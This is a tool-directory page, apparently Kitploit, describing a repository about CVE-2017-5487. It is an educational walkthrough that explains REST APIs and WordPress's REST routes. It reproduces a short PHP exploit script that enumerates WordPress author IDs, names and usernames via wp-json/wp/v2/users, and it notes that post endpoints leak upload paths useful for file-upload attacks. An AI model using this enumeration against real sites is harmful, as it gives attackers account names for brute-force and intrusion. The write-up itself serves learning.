Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2017-5487 — cve-2017-5487 wp rest api 취약점 | Kitploit
工具/GitHubGitHub/tpdlshdmlrkfmcla/cve-2017-5487
侦察漏洞分析漏洞利用信息收集Web安全学习与教育
GitHubtpdlshdmlrkfmcla/cve-2017-5487

cve-2017-5487

cve-2017-5487 wp rest api 취약점

查看仓库
1年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
  1. CVE-2017-5487是什么?

: WordPress 4.7.1之前的版本中,wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php的REST API实现未限制发布者列表,导致远程攻击者可通过wp-json/wp/v2/users请求获取敏感信息的漏洞。

(参考:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5487)

如果不知道是什么意思,先了解背景知识,再通过实践来学习。

如果觉得不需要背景知识,可以直接看[3]。

  1. REST API是什么?

: 简单来说,定义了“做什么和怎么做”的API可以称为REST API。

: 更详细地说,REST API是通过HTTP URI定义的资源,利用HTTP方法和Payload来执行操作。

: REST = REpresentational State Transfer 的缩写

2.1 通过HTTP URI定义的资源

: 资源是指被处理的对象

例如:JSON、XML文档、jpg等图片文件、mp4等视频文件等。

: URI是Uniform Resource Identifier的缩写,即统一资源标识符。我们常见的URL也是URI的一部分,指识别某个资源。

例如:通过 http://rootable.tistory.com/user/test 可以获取名为test的用户信息,这也是一种URI。

2.2 HTTP方法

: 该方法无论资源是什么格式,行为都相同。

: REST API中常用的方法有POST、GET、PUT、PATCH、DELETE等。需要注意的是,它们与我们通常认为的功能不同。例如,POST在我们看来是向服务器请求数据或文档的方法,但在REST API中,它执行创建(create)功能。

  • HTTP方法与CRUD操作对照

HTTP方法 CRUD操作 POST create GET read PUT update / replace PATCH update / modify DELETE delete

  • CRUD操作是指计算机软件基本数据处理时使用的Create、Read、Update、Delete的统称。

例:向 http://rootable.tistory.com 的users中添加名为doni的用户的REST API POST http://rootable.tistroy.com/users/doni

例:创建用户时需要职业、年龄、性别等多种属性时,可在Body部分使用XML或JSON等表达语言进行注册 POST http://rootable.tistory.com/users Content-Type: application/json

{ "username" : "doni" "age" : "27" }

  1. WordPress的REST API

: 前面提到REST API是预先定义如何处理资源的API。那么WordPress定义了哪些REST API呢?

参考下表:

Resource Base Route Posts /wp/v2/posts Post Revisions /wp/v2/revisions Categories /wp/v2/categories Tags /wp/v2/tags Pages /wp/v2/pages Comments /wp/v2/comments Taxonomies /wp/v2/taxonomies Media /wp/v2/media Users /wp/v2/users Post Types /wp/v2/types Post Statuses /wp/v2/statuses Settings /wp/v2/settings

可以看到定义了多种REST API。其中就包含CVE中提到的 /wp/v2/users。

  1. CVE的利用

4.1. 获取文章作者信息

  • 下面是从EXPLOIT DB找到的代码。(https://www.exploit-db.com/exploits/41497/)

  • 从代码可以看出,它只是将处理结果整理后清晰显示在屏幕上。即使不直接使用这个漏洞代码,直接访问也能获取信息,因此为了清晰显示,没必要用到FU漏洞。

root@kitploit:~
#!usr/bin/php
<?php
 
#Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#E-mail: [email protected]
#Site: https://mateuslino.tk 
header ('Content-type: text/html; charset=UTF-8');
 
 
$url= "http://localhost/";
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
    echo "*-----------------------------*\n";
foreach($json as $users){
    echo "[*] ID :  |" .$users['id']     ."|\n";
    echo "[*] Name: |" .$users['name']   ."|\n";
    echo "[*] User :|" .$users['slug']   ."|\n";
    echo "\n";
}echo "*-----------------------------*";} 
else{echo "[*] No user";}
 
 
?>

将其保存为PHP代码并在安装WordPress的地方执行,结果如下所示:

直接访问时显示如下(如果看不清请点击):

通过此操作可以获取文章作者的ID、name等信息。

注)原本以为是所有注册用户都可见,但测试结果只显示文章作者的账号。CVE描述中出现了author一词,应该就是指作者的意思。

4.2 获取文件上传路径

WordPress的REST API中有 /wp/v2/posts。访问该接口时,可以看到帖子的相关信息,其中高亮的部分可以获取文件上传路径。如果发现FU漏洞,这将非常有帮助。

  • 访问posts时信息过多不便时,可以通过 /wp-json/wp/v2/posts/20 仅获取第20篇文章的信息。
  1. 参考

在4.7版本中,查看设置或修改文章似乎也是不可能的。

  • 尝试查看设置时会显示rest_forbidden,被禁止访问。

  • 尝试修改第一篇文章时会显示无法读取文章的消息。

  • 相比查看用户,这会更有用,但有点遗憾……搜索结果显示,没有对应此情况的漏洞。不过,在4.7.1之前的版本中,似乎存在可修改其他用户文章的漏洞。这部分将在下一篇文章中进行。

参考)

  1. REST API说明:http://blog.naver.com/PostView.nhn?blogId=complusblog&logNo=220986337770

  2. Unicode转换:http://koreanstudies.com/unicode-converter.html

  3. 降级(中途进行不顺利,因此重新安装,建议不要全新安装) :http://www.bbsetheme.co.kr/%EC%9B%8C%EB%93%9C%ED%94%84%EB%A0%88%EC%8A%A4-%EB%B2%84%EC%A0%84-%EB%8B%A4%EC%9A%B4%EA%B7%B8%EB%A0%88%EC%9D%B4%EB%93%9C-%ED%95%98%EA%B8%B0/

下载工具